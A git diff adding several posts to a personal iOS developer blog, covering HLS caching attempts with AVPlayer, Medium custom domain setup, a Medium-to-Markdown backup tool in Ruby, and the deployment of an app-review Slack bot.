Travelogue 2023 Hiroshima Okayama 6-Day Free Trip

diff --git a/posts/d796bf8e661e/index.html b/posts/d796bf8e661e/index.html new file mode 100644 index 0000000000..4cc201ff4d --- /dev/null +++ b/posts/d796bf8e661e/index.html @@ -0,0 +1,49 @@ + Exploring Methods for Implementing iOS HLS Cache | ZhgChgLi
Home Exploring Methods for Implementing iOS HLS Cache
Post
Cancel

Exploring Methods for Implementing iOS HLS Cache

Exploring Methods for Implementing iOS HLS Cache

How to achieve caching while playing m3u8 streaming video files using AVPlayer

photo by [Mihis Alex](https://www.pexels.com/zh-tw/@mcraftpix?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels){:target="_blank"}

photo by Mihis Alex

[2023/03/12] Update

I have open-sourced my previous implementation, and those in need can use it directly.

  • Customizable cache strategy, you can use PINCache or others…
  • Externally, you only need to call the make AVAsset factory, input the URL, and the AVAsset will support caching
  • Implemented data flow strategy using Combine
  • Wrote some tests

About

HTTP Live Streaming (HLS) is a streaming media network transmission protocol based on HTTP proposed by Apple.

For example, when playing music, in a non-streaming situation, we use mp3 as the music file. The larger the file, the longer it takes to download completely before it can be played. HLS, on the other hand, splits a file into multiple small files, playing as it reads. So, once the first segment is received, playback can start without downloading the entire file!

The .m3u8 file records the bitrate, playback order, time, and other information of these segmented .ts small files. It can also provide encryption and decryption protection, low-latency live streaming, etc.

Example of an .m3u8 file (aviciiwakemeup.m3u8):

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+
#EXTM3U
+#EXT-X-VERSION:3
+#EXT-X-ALLOW-CACHE:YES
+#EXT-X-TARGETDURATION:10
+#EXT-X-MEDIA-SEQUENCE:0
+#EXTINF:9.900411,
+aviciiwakemeup–00001.ts
+#EXTINF:9.900400,
+aviciiwakemeup–00002.ts
+#EXTINF:9.900411,
+aviciiwakemeup–00003.ts
+#EXTINF:9.900411,
+.
+.
+.
+#EXTINF:6.269389,
+aviciiwakemeup-00028.ts
+#EXT-X-ENDLIST
+

*EXT-X-ALLOW-CACHE has been deprecated in iOS≥ 8/Protocol Ver.7. Whether this line is present or not is meaningless.

Goal

For a streaming media service, Cache is extremely important; because each audio file can range from a few MBs to several GBs. If every replay requires fetching the file from the server again, it would be very taxing on the server’s loading, and the traffic costs are \(\). Having a Cache layer can save a lot of money for the service, and users won’t have to waste bandwidth and time re-downloading; it’s a win-win mechanism (but remember to set limits/clear periodically to avoid filling up the user’s device).

Problem

In the past, when not dealing with streaming, handling mp3/mp4 was straightforward: download the file to the device before playing, and start playback only after the download is complete. Since the file has to be fully downloaded before playback anyway, we might as well use URLSession to download the file and then feed the local file path (file://) to AVPlayer for playback. Alternatively, the formal way is to use AVAssetResourceLoaderDelegate to cache the downloaded data in the delegate methods.

For streaming, the idea is also quite straightforward: first read the .m3u8 file, then parse the information inside, and cache each .ts file. However, implementing this turned out to be more complicated than I imagined, which is why this article exists!

For playback, we still use iOS AVFoundation’s AVPlayer directly. There is no difference in operation between streaming and non-streaming files.

Example:

1
+2
+3
+
let url: URL = URL(string: "https://zhgchg.li/aviciiwakemeup.m3u8")
+var player: AVPlayer = AVPlayer(url: url)
+player.play()
+

2021–01–05 Update:

We decided to revert to using mp3 files, so we can directly use AVAssetResourceLoaderDelegate for implementation. For detailed implementation, refer to “AVPlayer Streaming Cache Implementation”.

Implementation Solutions

Several solutions to achieve our goal and the issues encountered during implementation.

Solution 1. AVAssetResourceLoaderDelegate ❌

The first thought was to follow the same approach as with mp3/mp4 files: use AVAssetResourceLoaderDelegate to cache .ts files in the delegate methods.

Unfortunately, this approach doesn’t work because we can’t intercept the download request information for .ts files in the delegate. This is confirmed in this Q&A and the official documentation.

For AVAssetResourceLoaderDelegate implementation, refer to “AVPlayer Streaming Cache Implementation”.

Solution 2.1 URLProtocol Intercept Requests ❌

URLProtocol is a method I recently learned. All requests based on the URL Loading System (URLSession, API calls, image downloads, etc.) can be intercepted to modify the Request and Response before returning them, making it seem like nothing happened. For more on URLProtocol, refer to this article.

Using this method, we planned to intercept AVFoundation AVPlayer’s requests for .m3u8 and .ts files. If there is a local cache, return the cached data directly; otherwise, send the request out. This would achieve our goal.

Again, unfortunately, this approach doesn’t work either because AVFoundation AVPlayer’s requests are not on the URL Loading System, so we can’t intercept them. *Some say it works on the simulator but not on the actual device

Solution 2.2 Force it into URLProtocol ❌

Based on Solution 2.1, a brute-force method: if I change the request URL to a custom scheme (e.g., streetVoiceCache://), AVFoundation won’t be able to handle this request and will throw it out, allowing our URLProtocol to intercept and do what we want.

1
+2
+3
+
let url: URL = URL(string: "streetVoiceCache://zhgchg.li/aviciiwakemeup.m3u8?originScheme=https")
+var player: AVPlayer = AVPlayer(url: url)
+player.play()
+

URLProtocol will intercept streetVoiceCache://zhgchg.li/aviciiwakemeup.m3u8?originSchme=https, at this point, we just need to restore it to the original URL, then send a URLSession request to fetch the data and handle the cache ourselves here; the .ts file requests in the m3u8 will also be intercepted by URLProtocol, and similarly, we can handle the cache ourselves here.

Everything seemed perfect, but when I excitedly Build-Run the APP, Apple slapped me in the face:

Error: 12881 “CoreMediaErrorDomain custom url not redirect”

It doesn’t accept the Response Data for the .ts file Request I provided. I can only use the urlProtocol:wasRedirectedTo method to redirect to the original Https request to play normally, even if I download the .ts file locally and then redirectTo that file:// file; it still doesn’t accept it. Checking the official forum revealed that this approach is not allowed; .m3u8 can only originate from Http/Https (so even if you put the entire .m3u8 and all segmented files .ts locally, you can’t use file:// to play with AVPlayer), and .ts cannot use URLProtocol to provide Data.

fxxk…

Solution 2.2–2 Same as Solution 2.2 but with Solution 1 AVAssetResourceLoaderDelegate to implement ❌

Implementation is the same as Solution 2.2, feeding AVPlayer a custom Scheme to enter AVAssetResourceLoaderDelegate; then we handle it ourselves.

Same result as 2.2:

Error: 12881 “CoreMediaErrorDomain custom url not redirect”

Official forum gave the same answer.

It can be used for decryption processing (refer to this article or this example) but still cannot achieve Cache functionality.

Solution 3. Reverse Proxy Server ⍻ (Feasible, but not perfect)

This method is the most commonly suggested solution when looking for ways to handle HLS Cache; it involves setting up an HTTP Server on the APP to act as a Reverse Proxy Server.

The principle is simple, set up an HTTP Server on the APP, assuming it’s on port 8080, the URL would be http://127.0.0.1:8080/; then we can handle the incoming Requests and provide Responses.

Applying this to our case, change the request URL to: http://127.0.0.1:8080/aviciiwakemeup.m3u8?origin=http://zhgchg.li/

In the HTTP Server’s Handler, intercept and handle *.m3u8, when a Request comes in, it will enter our Handler, and we can do whatever we want, control what Data to Response, and the .ts files will also come in; here we can implement our desired Cache mechanism.

For AVPlayer, it’s just a standard http://.m3u8 streaming audio file, so there won’t be any issues.

For a complete implementation example, refer to:

Because I also referred to this example, I also used GCDWebServer for the Local HTTP Server part. Additionally, there is a newer Telegraph available for use. ( CocoaHttpServer hasn’t been updated for a long time, so it’s not recommended anymore)

Looks good! But there’s a problem:

Our service is music streaming rather than a video playback platform. In many cases, users switch music in the background; will the Local HTTP Server still be there then?

GCDWebServer’s documentation states that it will automatically disconnect when entering the background and automatically resume when returning to the foreground. However, you can disable this mechanism by setting the parameter GCDWebServerOption_AutomaticallySuspendInBackground:false.

But in practice, if no requests are sent for a period of time, the server will still disconnect (and the status will be incorrect, still showing as isRunning), which feels like it was killed by the system. After delving into the HTTP Server approach, I found that the underlying layer is based on sockets. According to the official documentation on socket services, this issue cannot be resolved. The system will suspend it when there are no new connections in the background.

*There are some convoluted methods found online… like sending a long request or continuously sending empty requests to ensure the server is not suspended by the system in the background.

All of the above applies to the app being in the background. When in the foreground, the server is very stable and won’t be suspended due to idleness, so there’s no such issue!

Since it relies on other services, even if there are no issues in the development environment, it is recommended to implement a rollback mechanism in actual applications (AVPlayer.AVPlayerItemFailedToPlayToEndTimeErrorKey notification); otherwise, if the service crashes, the user will be stuck.

So it's not perfect...

Solution 4. Use the HTTP Client’s caching mechanism ❌

Our .m3u8/.ts files’ Response Headers all provide Cache-Control, Age, eTag… these HTTP Client Cache information. Our website’s cache mechanism works perfectly on Chrome, and the new official Protocol Extension for Low-Latency HLS preliminary specification also mentions that cache-control headers can be set for caching.

But in practice, AVFoundation AVPlayer does not have any HTTP Client Caching effect, so this route is also a dead end! Pure wishful thinking.

Solution 5. Do not use AVFoundation AVPlayer to play audio files ✔

Implement audio file parsing, caching, encoding, and playback functionality yourself.

This is too hardcore, requiring very deep technical skills and a lot of time; not researched.

Here is an open-source player for reference: FreeStreamer. If you really choose this solution, it’s better to stand on the shoulders of giants and directly use third-party libraries.

Solution 5-1. Do not use HLS

Same as Solution 5, too hardcore, requiring very deep technical skills and a lot of time; not researched.

Solution 6. Convert .ts segment files to .mp3/.mp4 files ✔

Not researched, but indeed feasible. However, it sounds complicated, having to process the downloaded .ts files, convert them individually to .mp3 or .mp4 files, and then play them in order or compress them into one file or something. It just doesn’t sound easy to do.

Interested parties can refer to this article.

Solution 7. Download the complete file before playing ⍻

This method cannot be precisely called “caching while playing.” It actually involves downloading the entire audio file content before starting playback. If it is .m3u8, as mentioned in Solution 2.2, it cannot be directly downloaded and played locally.

To implement this, you need to use the iOS ≥ 10 API AVAssetDownloadTask.makeAssetDownloadTask, which will actually package the .m3u8 into .movpkg and store it locally for user playback.

This is more like offline playback rather than caching.

Additionally, users can view and manage the downloaded packaged audio files from “Settings” -> “General” -> “iPhone Storage” -> APP.

Below is the downloaded video section

Below is the downloaded video section

For detailed implementation, refer to this example:

Conclusion

The exploration journey above took almost a whole week, going around in circles, almost driving me crazy. Currently, there is no reliable and easy-to-deploy method.

If there are new ideas, I will update!

References

If you have any questions or comments, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

First Experience with iOS Reverse Engineering

Creating a Comfortable WFH Smart Home Environment, Control Appliances at Your Fingertips

diff --git a/posts/d9a95d4224ea/index.html b/posts/d9a95d4224ea/index.html new file mode 100644 index 0000000000..74e4ea4b6d --- /dev/null +++ b/posts/d9a95d4224ea/index.html @@ -0,0 +1 @@ + Medium Custom Domain Feature Returns | ZhgChgLi
Home Medium Custom Domain Feature Returns
Post
Cancel

Medium Custom Domain Feature Returns

Medium Custom Domain Feature Returns

Take care of your Domain Authority yourself!

[2024/07/28] Feature Returns

Setting up a custom domain for your profile or publication

A series of ups and downs, this feature was opened in 2012, then closed; reopened in 2021, announced closure again in 2022; recently in 2024, it’s back again, and the official complete setup guide has been updated. You can refer to the latest official documentation for setup, and refer to this article for the domain registration process.

Take advantage of the open period to set it up quickly, as we never know when the official will decide to close it again; existing custom domains are not affected.

I set up https://blog.zhgchg.li in 2021 when the official closed the custom domain feature, but it still works and is usable to this day.

Breaking News!

Custom domains are back!

Custom domains are back!

Medium’s official blog announced on 2021/02/17 that Medium is once again allowing creators to bind their own domain names! Whether it’s a creator’s Profile page or Publications, both support customization.

What is a “Custom Domain”

To ensure that readers from all backgrounds understand, here’s a simple explanation of what a custom domain is.

A domain is like an address in the online world; if I enter the address Medium.com, I will go to Medium; now, creators can customize their domain, which is like customizing their address. You can register the address you want and then link it to your Medium account to replace the original address; for example, I use blog.zhgchg.li as my address, and it will lead to my Medium page.

History

Research shows that this feature was available in the early days around 2012, with a one-time $75 setup fee. However, when I started writing on Medium in 2018, this feature had already been discontinued. Existing users were not affected, so sometimes when browsing Medium, you may see a domain that belongs to you but the website is hosted on Medium, which is pretty cool. It was rumored that this feature was launched for a while and then taken down, possibly due to commercial considerations as having a custom domain could reduce Medium’s visibility.

Benefits

  • Visibility: A custom domain can bring many benefits to creators, the most straightforward being visibility. Instead of using medium.com/@xxxx, you can display your name directly, for example, zhgchg.li.
  • Flexibility: If you decide to move away from Medium and host your own website in the future, you can redirect the original links to the new site.
  • Domain Authority: This is related to SEO search result rankings. By using Medium to build the authority of your domain, you can transition to other platforms without worrying about starting from scratch with SEO.

Drawbacks

  • You lose the high Domain Authority SEO ranking advantage of medium.com, which may significantly impact incoming search traffic in the early stages.

Rules

I noticed that when sharing links to articles, if the article is part of a Publication but the Publication does not have a custom domain set, or if the Profile’s domain is not used, the link will revert to the default medium.com link.

My Setup

Here is an example of my setup for reference:

  • Profile Page: blog.zhgchg.li (I only use the subdomain blog.zhgchg.li because the main domain serves another purpose)

I initially set up a Publication page, but later removed it. Since I have few followers and limited ability to generate traffic on my own, I heavily rely on search engine traffic from Google and others. If the Publication page also used a Custom Domain, the article links would be under my domain, but my domain is not well-established yet, resulting in poor search rankings and low traffic.

Setting up only the Profile without a Publication has its advantages. The original medium links can still be indexed by Google, and having a link with your own domain allows for a balanced approach. You retain your existing traffic while gradually building the Domain Authority of your domain.

Target Audience

Building authority for a domain takes a long time. I believe this feature is most suitable for those who already have a website service (e.g., musicplayer.com). If you want to build a community, you can directly use Medium, and in this case, a domain like blog.musicplayer.com can be used.

The two scenarios where this feature is suitable are: 1) using the Medium platform to write articles (with increasing customization options) and 2) having a domain with enough Domain Authority that won’t significantly affect SEO.

Pricing

Domain Part:

You can obtain a domain from Namecheap (used as an example in this article) or Godaddy based on your preference. The common price range for a .com domain is approximately $200 to $500 TWD per year. The price varies depending on the domain suffix, length, and rarity, with some rare domains costing millions or even billions.

Domain registration operates on a first-come, first-served basis. Unless a domain name is protected by a trademark in a specific region, it is usually a race to register it. If someone else registers it first, you may need to negotiate a purchase. This has led to a practice known as domain squatting, where individuals register numerous domains and hold them without use, waiting to sell them to others.

Domains require annual payments or can be purchased for multiple years, but there is no option for a lifetime purchase. If you fail to renew the domain, it will be released after the protection period, allowing anyone to register it again.

However, Medium users are unlikely to encounter domain squatting issues, as most users are individuals. I registered using my online account zhgchg.li, which had not been taken. If you do encounter duplicates, you can consider changing the suffix to something like .div/.net, etc.

For the suffix part, you can refer to the List of Internet Top-Level Domains, but having a suffix listed does not guarantee availability for registration. It depends on the regulations of the domain’s country and whether platforms like Namecheap or Godaddy sell domains with that suffix.

For example, .li is the domain for Liechtenstein, and currently, there are no restrictions on who can register a domain. Only Namecheap still offers this domain for sale.

Benefits of being named Li?

Benefits of being named Li?

By the way, my spelling zhgchg.li is also called Domain Hack; a better example is google => goo.gl.

Medium Section:

The one-time $75 setup fee has been canceled, and it has been changed to be available for all Medium paid members (monthly $5 / yearly $50); but I actually prefer the original one-time setup fee QQ; because I am mostly a creator and do not need the subscription privileges of paid members, the monthly and yearly fee system is more burdensome for me, and I am starting to consider joining the paywall project Orz.

Update on 2021/04/05

What happens if you join the membership plan first and then do not continue to renew after setting up a custom domain?

After testing, the custom domain remains valid even after the membership expires!

Getting Started

1. Purchase & Obtain a Domain Name (Using Namecheap as an example)

First, go to the Namecheap official website to search for a domain name you like:

Get search results:

If the button on the right says “Add To Cart,” it means the domain name is available for registration and can be added to the cart for purchase.

If the button on the right says “Make offer” or “Taken,” it means the domain name has already been registered, so please choose a different suffix or a different domain name:

After adding to the cart, click on “Checkout” at the bottom.

Proceed to the order confirmation page:

  • Domain Registration: Here, you can choose AUTO-RENEW for automatic renewal each year, or you can choose to purchase for a specific number of years.
  • WhoisGuard: Since domain information can be publicly accessed by anyone (registration date, expiration date, registrant, contact information), this feature allows you to display Namecheap as the registrant and contact information instead of your personal details, which helps prevent spam messages. (This feature may incur charges for some suffixes, so use it if it’s free!)

Here are some whois information results for google.com, which can be checked here.

  • PremiumDNS: We know that a domain name is like an address, meaning when you see an address, you know where to go; this feature provides a more stable and secure way to find the location, but I think it’s unnecessary unless it’s for a high-traffic e-commerce website where no errors can be tolerated.

Enter credit card information and click on “Confirm Order.”

You have successfully made the purchase!

You will receive an order summary email.

2. Setting Up the Domain (Using Namecheap as an example)

After logging into your account, click on Account in the upper left corner -> “ Dashboard

Enter the “Dashboard” and switch to the “Domain List” tab, find the Domain you just purchased, and click on “Manage”.

Image

Once inside, switch to the last tab “Advanced DNS”.

Image

Keep this page open and go back to Medium.

Go to the Medium settings page, locate the “Profile” section, and click on “Get started” in the “Custom domain” part.

For Publications, go to Publications’ “Homepage and settings,” and at the bottom, find the “Custom domain” section.

Image

If it shows “Upgrade,” it means you need to upgrade to a paid user to use this feature.

Access the settings page:

Image

Enter your Domain name, e.g., www.example.com.

Image

Remember this information and go back to the Namecheap settings page.

In the “Advanced DNS” tab, locate the “HOST RECORDS” section.

Image

Click the “ADD NEW RECORD” button twice to add two new data fields.

Image

Enter the information from Medium:

  • Select “A Record”
  • If you are the main domain (e.g., zhgchg.li), enter www; if you are a subdomain, enter the subdomain name
  • Enter the IP same as the information on Medium

Click the checkmark on the right to complete the addition.

Check again if there are records in the “HOST RECORDS” section.

Image

If there are records, the Namecheap setup is complete. Go back to the Medium settings page.

Click “Continue” to proceed.

Image

If you see the processing page, it means the setup is complete!

Image

Note that it may take up to 48 hours for the Domain binding DNS settings to take full effect. Accessing the domain may show a 404 error if not yet effective.

Attention

Sharing links with a custom domain that is later changed may cause previously shared links to become invalid.

Minor Issues

As of 2021/02/24, there are still some issues to be resolved by Medium:

Image

Custom domains are back!

But I believe it’s already functioning correctly 99%!

What happens if you cancel the paid membership… will it expire directly?

Further Reading

Feel free to contact me for any questions or feedback.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Revealing a Clever Website Vulnerability Discovered Years Ago

Bye Bye 2020: A Review of the Second Year on Medium

diff --git a/posts/ddd88a84e177/index.html b/posts/ddd88a84e177/index.html new file mode 100644 index 0000000000..f56b2eb76b --- /dev/null +++ b/posts/ddd88a84e177/index.html @@ -0,0 +1,69 @@ + Converting Medium Posts to Markdown | ZhgChgLi
Home Converting Medium Posts to Markdown
Post
Cancel

Converting Medium Posts to Markdown

Converting Medium Posts to Markdown

Writing a small tool to back up Medium articles & convert them to Markdown format

[ZhgChgLi](https://github.com/ZhgChgLi){:target="_blank"} [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}

ZhgChgLi / ZMediumToMarkdown

[EN] ZMediumToMarkdown

I’ve written a project to let you download Medium post and convert it to markdown format easily.

Features

  • Support download post and convert to markdown format
  • Support download all posts and convert to markdown format from any user without login access.
  • Support download paid content
  • Support download all of post’s images to local and convert to local path
  • Support parse Twitter tweet content to blockquote
  • Support download paid content
  • Support command line interface
  • Convert Gist source code to markdown code block
  • Convert youtube link which embed in post to preview image
  • Adjust post’s last modification date from Medium to the local downloaded markdown file
  • Auto skip when post has been downloaded and last modification date from Medium doesn’t changed (convenient for auto-sync or auto-backup service, to save server’s bandwidth and execution time)
  • Support using Github Action as auto sync/backup service
  • Highly optimized markdown format for Medium
  • Native Markdown Style Render Engine (Feel free to contribute if you any optimize idea! MarkupStyleRender.rb )
  • jekyll & social share (og: tag) friendly
  • 100% Ruby @ RubyGem

[CH] ZMediumToMarkdown

A backup tool that can crawl the content of Medium article links or all articles of a Medium user, convert them into Markdown format, and download them along with the images in the articles.

[2022/07/18 Update]: Step-by-step guide to seamlessly migrate Medium to a self-hosted site

Features

  • No login required, no special permissions needed
  • Supports downloading and converting single articles or all articles of a user into Markdown
  • Supports downloading and backing up all images in the articles and converting them to corresponding image paths
  • Supports deep parsing of Gist embedded in articles and converting them into corresponding language Markdown Code Blocks
  • Supports parsing Twitter content and reposting it in the article
  • Supports parsing YouTube videos embedded in articles, converting them into video preview images and links displayed in Markdown
  • When downloading all articles of a user, it will scan for embedded related articles and replace the links with local ones if found
  • Specially optimized for Medium format styles
  • Automatically changes the last modified/created time of the downloaded articles to the same as the Medium article’s publication time
  • Automatically compares the last modification of the downloaded articles, and skips if it is not less than the last modification time of the Medium article (This mechanism can save server traffic/time, making it convenient for users to use this tool to create automatic Sync/Backup tools)
  • CLI operation, supports automation

This project and this article are for technical research only. Please do not use it for any commercial purposes or illegal purposes. The author is not responsible for any illegal activities conducted using this tool. This is a disclaimer.

Please ensure you have the rights to use and download the articles before backing them up.

Origin

In the third year of managing Medium, I have published over 65 articles; all articles were written directly on the Medium platform without any other backups. Honestly, I have always been afraid that issues with the Medium platform or other factors might cause the disappearance of my hard work over the years.

I had manually backed up before, which was very boring and time-consuming, so I have been looking for a tool that can automatically download and back up all articles, preferably converting them into Markdown format.

Backup Requirements

  • Markdown format
  • Automatically download all Medium posts of a user
  • Article images should also be downloadable and backed up
  • Ability to parse Gist into Markdown Code Block (I use gist a lot to embed source code in my Medium articles, so this feature is very important)

Backup Solutions

Medium Official

Although the official provides an export backup function, the export format can only be used for importing into Medium, not Markdown or common formats, and it does not handle embedded content like Github Gist.

The API provided by Medium is not well-maintained and only offers the Create Post function.

Reasonable, because Medium does not want users to easily transfer content to other platforms.

Chrome Extension

I found and tried several Chrome Extensions (most of which have been taken down), but the results were not good. First, you have to manually click into each article to back it up, and second, the parsed format had many errors and could not deeply parse Gist source code or back up all images in the articles.

medium-to-markdown command line

Some expert wrote it in JS, which can achieve basic download and conversion to Markdown functionality, but still lacks image backup and deep parsing of Gist Source Code.

ZMediumToMarkdown

After struggling to find a perfect solution, I decided to write a backup conversion tool myself; it took about three weeks of after-work time to complete using Ruby.

Technical Details

How to get the article list by entering the username?

  1. Obtain UserID: View the user’s homepage (https://medium.com/@#{username}) source code to find the Username corresponding to the UserID Note that because Medium reopened custom domains, you need to handle 30X redirects

  2. Sniffing network requests reveals that Medium uses GraphQL to get the homepage article list information

  3. Copy the Query & replace UserID in the request information
    1
    +2
    +
    HOST: https://medium.com/_/graphql
    +METHOD: POST
    +
  4. Get the Response

You can only get 10 items at a time, so you need to paginate.

  • Article list: can be obtained in result[0]->userResult->homepagePostsConnection->posts
  • homepagePostsFrom pagination information: can be obtained in result[0]->userResult->homepagePostsConnection->pagingInfo->next Include homepagePostsFrom in the request to paginate, nil means there are no more pages

How to parse article content?

Viewing the article source code reveals that Medium uses the Apollo Client service for setup; its HTML is actually rendered from JS; therefore, you can find the window.__APOLLO_STATE__ field in the

We need to do the same, parse this JSON, match the Type to the Markdown style, and assemble the Markdown format.

Technical Difficulties

A technical difficulty here is rendering paragraph text styles, where Medium provides the structure as follows:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+
"Paragraph": {
+    "text": "code in text, and link in text, and ZhgChgLi, and bold, and I, only i",
+    "markups": [
+      {
+        "type": "CODE",
+        "start": 5,
+        "end": 7
+      },
+      {
+        "start": 18,
+        "end": 22,
+        "href": "http://zhgchg.li",
+        "type": "LINK"
+      },
+      {
+        "type": "STRONG",
+        "start": 50,
+        "end": 63
+      },
+      {
+        "type": "EM",
+        "start": 55,
+        "end": 69
+      }
+    ]
+}
+

This means that for the text code in text, and link in text, and ZhgChgLi, and bold, and I, only i:

1
+2
+3
+4
+
- Characters 5 to 7 should be marked as code (wrapped in `Text` format)
+- Characters 18 to 22 should be marked as a link (wrapped in [Text](URL) format)
+- Characters 50 to 63 should be marked as bold (wrapped in *Text* format)
+- Characters 55 to 69 should be marked as italic (wrapped in _Text_ format)
+

Characters 5 to 7 & 18 to 22 are easy to handle in this example because they do not overlap; but 50–63 & 55–69 will have overlapping issues, and Markdown cannot represent overlapping in the following way:

1
+
code `in` text, and [ink](http://zhgchg.li) in text, and ZhgChgLi, and **bold,_ and I, **only i_
+

The correct combination result is as follows:

1
+
code `in` text, and [ink](http://zhgchg.li) in text, and ZhgChgLi, and **bold,_ and I, _**_only i_
+

50–55 STRONG 55–63 STRONG, EM 63–69 EM

Additionally, please note:

  • The beginning and end of the packaging format string should be distinguishable. Strong just happens to have ** at both the beginning and end. If it is a Link, the beginning will be [ and the end will be ](URL).
  • When combining Markdown symbols with strings, be careful not to have spaces before or after, otherwise, it will fail.

See the full issue here.

This has been studied for a long time, and for now, we are using an existing package to solve it reverse_markdown.

Special thanks to former colleagues Nick , Chun-Hsiu Liu , and James for their collaborative research. I will write and convert it to native code when I have time.

Results

Original text -> Converted Markdown result

If you have any questions or comments, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Record of Practical Application of Design Patterns

Implementing iOS NSAttributedString HTML Render Yourself

diff --git a/posts/e36e48bb9265/index.html b/posts/e36e48bb9265/index.html new file mode 100644 index 0000000000..60c870e707 --- /dev/null +++ b/posts/e36e48bb9265/index.html @@ -0,0 +1,343 @@ + ZReviewTender — Free Open Source App Reviews Monitoring Bot | ZhgChgLi
Home ZReviewTender — Free Open Source App Reviews Monitoring Bot
Post
Cancel

ZReviewTender — Free Open Source App Reviews Monitoring Bot

ZReviewTender — Free Open Source App Reviews Monitoring Bot

Real-time monitoring of the latest app reviews and providing instant feedback to improve collaboration efficiency and consumer satisfaction

[ZhgChgLi](https://github.com/ZhgChgLi){:target="_blank"} [ZReviewTender](https://github.com/ZhgChgLi/ZReviewTender){:target="_blank"}

ZhgChgLi / ZReviewTender

ZhgChgLi / ZReviewTender

App Reviews to Slack Channel

App Reviews to Slack Channel

ZReviewTender Automatically monitors the latest user reviews of App Store iOS/macOS apps and Google Play Android apps, and provides continuous integration tools to integrate into team workflows, improving collaboration efficiency and consumer satisfaction.

Key Features

  • Retrieve review lists from App Store iOS/macOS apps and Google Play Android apps and filter out the latest reviews that have not been crawled yet
  • [Default Feature] Forward the latest crawled reviews to Slack, and click the message timestamp link to quickly enter the backend to reply to reviews
  • [Default Feature] Support using Google Translate API to automatically translate reviews from non-specified languages/regions into your language
  • [Default Feature] Support automatic recording of reviews to Google Sheets
  • Support flexible expansion, in addition to the included default features, you can still develop the required features according to the team workflow and integrate them into the tool e.g. Forward reviews to Discord, Line, Telegram…
  • Use timestamps to record crawl positions to prevent duplicate crawling of reviews
  • Support filtering features, you can specify to crawl only reviews with certain ratings, containing certain keywords, or from certain regions/languages
  • Apple provides a stable and reliable source of App Store app review data based on the new App Store Connect API, no longer relying on unreliable XML data or Fastlane Spaceship sessions that expire and require regular manual maintenance
  • Android also uses the official AndroidpublisherV3 API to fetch review data
  • Support deployment using Github Repo w/ Github Action, allowing you to quickly and freely set up the ZReviewTender App Reviews bot
  • 100% Ruby @ RubyGem

Comparison with Similar Services

App Reviews Workflow Integration Example (in Pinkoi)

Problem:

Reviews in the marketplace are very important for products, but it is a very manual and repetitive task to communicate and refer.

Because you have to manually check for new reviews from time to time, and if there are customer service issues, forward them to customer service for assistance. It’s repetitive and manual.

Through the ZReviewTender review bot, reviews are automatically forwarded to the Slack Channel, allowing everyone to quickly receive the latest review information, and track and discuss in real-time. It also allows the entire team to understand the current user reviews and suggestions for the product.

For more information, refer to: 2021 Pinkoi Tech Career Talk — High-Efficiency Engineering Team Demystified.

Deployment — Using Default Features Only

If you only need the default features of ZReviewTender (to Slack/Google Translate/Filter), you can use the following quick deployment method.

ZReviewTender has been packaged and released on RubyGems, and you can quickly and easily install and use ZReviewTender with RubyGems.

  • No hosting space required ✅
  • No environment requirements ✅
  • No need to understand engineering principles ✅
  • Complete the Config file configuration to complete the deployment ✅
  • Deployment can be completed in 8 steps ✅
  • Completely free ✅ Github Action provides each account with 2,000+ minutes/month of execution time. Running ZReviewTender review fetching once only takes about 15-30 seconds. By default, it runs every 6 hours, 4 times a day, consuming only about 60 minutes per month. Github Private Repo can be created without any limit for free.
  1. Go to the ZReviewTender Template Repo: ZReviewTender-deploy-with-github-action

Click the “Use this template” button at the top right.

  1. Create Repo

  • Repository name: Enter the name of the Repo project you want
  • Access: Private

⚠️⚠️ Be sure to create a Private Repo ⚠️⚠️

Because you will upload settings and private keys to the project

Finally, click the “Create repository from template” button at the bottom.

  1. Confirm that your created Repo is a Private Repo

Confirm that the Repo name at the top right shows “🔒” and the Private label.

If not, it means you created a Public Repo which is very dangerous, please go to the top Tab “Settings” -> “General” -> Bottom “Danger Zone” -> “Change repository visibility” -> “Make private” to change it back to Private Repo.

  1. Wait for Project init to succeed

You can check the Badge in the Readme on the Repo homepage

If it shows passing, it means init was successful.

Or click the top Tab “Actions” -> wait for the “Init ZReviewTender” Workflow to complete:

Execution status will change to 3 “✅ Init ZReviewTender” -> Project init successful.

  1. Confirm if the init files and directories are correctly created

Click the “Code” tab above to return to the project directory. If the project init is successful, you will see:

  • Directory: config/
  • File: config/android.yml
  • File: config/apple.yml
  • Directory: latestCheckTimestamp/
  • File: latestCheckTimestamp/.keep
  1. Complete Configuration for android.yml & apple.yml

Enter the config/ directory to complete the configuration of android.yml & apple.yml files.

Click to enter the config YML file you want to edit and click the “✏️” in the upper right corner to edit the file.

Refer to the “ Settings “ section below to complete the configuration of android.yml & apple.yml.

After editing, you can directly save the settings by clicking “Commit changes” below.

Upload the corresponding Key files to the config/ directory:

In the config/ directory, select “Add file” -> “Upload files” in the upper right corner.

Upload the corresponding Key and external file paths configured in the config yml to the config/ directory, drag the files to the “upper block” -> wait for the files to upload -> directly “Commit changes” below to save.

After uploading, go back to the /config directory to check if the files are correctly saved & uploaded.

  1. Initialize ZReviewTender (manually trigger execution once)

Click the “Actions” tab above -> select “ZReviewTender” on the left -> select “Run workflow” on the right -> click the “Run workflow” button to execute ZReviewTender once.

After clicking, refresh the webpage and you will see:

Click “ZReviewTender” to view the execution status.

Expand the “ Run ZreviewTender -r “ block to view the execution log.

Here you can see an error because I haven’t configured my config yml file properly.

Go back and adjust the android/apple config yml, then return to step 6 and trigger the execution again.

Check the log of the “ ZReviewTender -r “ block to confirm successful execution!

The Slack channel designated to receive the latest review messages will also show an init success message 🎉

  1. Done! 🎉 🎉 🎉

Configuration complete! From now on, the latest reviews within the period will be automatically fetched and forwarded to your Slack channel every 6 hours!

You can check the latest execution status at the top of the Readme on the Repo homepage:

If an error occurs, it means there was an execution error. Please go to Actions -> ZReviewTender to view the records; if there is an unexpected error, please create an Issue with the record information, and it will be fixed as soon as possible!

